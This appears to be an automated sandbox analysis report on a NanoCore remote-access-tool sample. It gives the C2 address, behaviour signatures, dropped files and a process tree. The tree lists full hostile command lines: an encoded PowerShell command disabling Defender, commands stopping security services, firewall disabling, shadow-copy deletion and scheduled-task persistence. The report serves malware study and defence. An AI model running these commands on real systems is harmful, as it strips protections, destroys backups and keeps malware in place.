Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/11/2026, 12:32

General

  • Target
    cakhiatvvu.cc_chrome.exe
  • Size 57KB
  • Sample261114-pq2rsszx5k
  • SHA256 24bbe8e206a1ec64c1038253161e381755b7ffe80b6d940e3428651fc82afdb8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://cakhiatvvu.cc

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://cakhiatvvu.cc

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates local user accounts 1 TTPs

    Lists local user accounts and their privileges on the host, providing information used to identify targets for credential theft or takeover.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Changes Windows Update policy settings 1 TTPs 1 IoCs

    Changes how the host receives Windows updates, which can stop security fixes from being installed.

  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Owner/User Discovery 1 TTPs

    Attempt to identify the primary or current user.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Changes Windows Update policy settings
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5084
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2296
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3508
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1996
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1564
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:604
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3584
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3856
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1688
      • C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe"
        3⤵
          PID:4144
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2280
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2980
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:1992
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1176
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5820
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3508
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3396
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:2292
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4176
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4672
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            PID:248
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3096
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:1004
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2112
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            PID:5836
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1392
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
              PID:1860
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2300
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3212
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:2472
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1740
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:5952
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3128
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:4216
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5152
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:3068
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:4268
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              PID:3760
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5956
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:4144
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:1680
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:4652
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:2752
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3140
            • C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe
              1⤵
                PID:2560
              • C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\cakhiatvvu.cc_chrome.exe
                1⤵
                  PID:5992

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      scr_20261114_123407.jpg

                      • Path C:\ProgramData\SysUpdate\Scr\scr_20261114_123407.jpg
                      • Size 102KB
                      • SHA256 af4640b937ca33bcd1a9700a4394fd8d224be76b7014b0ccf63feb56a2dbee54
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_2.pdf

                      • Path C:\SystemVolumeInformation\doc_2.pdf
                      • Size 76KB
                      • SHA256 4eeb6020a8a68f4c542b607b64c73acc359c35b4d07a225d70d7d7c0ca6745a8
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      __PSScriptPolicyTest_f202de3a.pjx.psm1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f202de3a.pjx.psm1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 245B
                      • SHA256 f01270a893d8fb5f09e5bdb9e862dd1abb18ba01ac47dc8ff7fdbabeb658142b
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 246B
                      • SHA256 8e55263ad071fe71aa3f1f1062b4f255c24e3bfeb544b097570c95bb5e58438e
                      • MD5 SHA1 SHA512 TLSH

                      temp_steal.log

                      • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                      • Size 136KB
                      • SHA256 9e61e06ec6f4d35b6796926d894e2d0dbd2317d9e26cc36962f6e772a846ea44
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      stolen_data_here.txt

                      • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                      • Size 136KB
                      • SHA256 20c6433d8053f19696fc674fb759a99bfd89b8651971b4e10e1e3caad1b0163e
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      invoice_1.pdf

                      • Path C:\Users\Admin\Documents\invoice_1.pdf
                      • Size 76KB
                      • SHA256 669fec7bc645b4ca3f60cf56cf463d1d67357fda48a27e694cb8f345b47ca042
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      READ_ME_NANOCORE.txt

                      • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                      • Size 145B
                      • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                      • MD5 SHA1 SHA512 TLSH

                      sysupdate.exe

                      • Path C:\Windows\System32\sysupdate.exe
                      • Size 57KB
                      • SHA256 24bbe8e206a1ec64c1038253161e381755b7ffe80b6d940e3428651fc82afdb8
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      RANSOM_NOTE.txt

                      • Path F:\RANSOM_NOTE.txt
                      • Size 177B
                      • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                      • MD5 SHA1 SHA512 TLSH

                      memory/2292-2268-0x000002A127120000-0x000002A127121000-memory.dmp

                      memory/5084-20-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-17-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-21-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-19-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-22-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-23-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-25-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-2289-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-31-0x0000025E56240000-0x0000025E562F2000-memory.dmp

                      memory/5084-11-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-30-0x0000025E55EB0000-0x0000025E55ECE000-memory.dmp

                      memory/5084-18-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-26-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-24-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-14-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-32-0x0000025E55ED0000-0x0000025E55EDA000-memory.dmp

                      memory/5084-16-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5084-15-0x0000025E55E60000-0x0000025E55E82000-memory.dmp

                      memory/5936-0-0x00007FF97817F000-0x00007FF978180000-memory.dmp

                      memory/5936-2-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-3-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-5-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-2283-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-2287-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-4-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-2291-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-10-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-6-0x00007FF977FF0000-0x00007FF978994000-memory.dmp

                      memory/5936-1-0x0000000000270000-0x0000000000284000-memory.dmp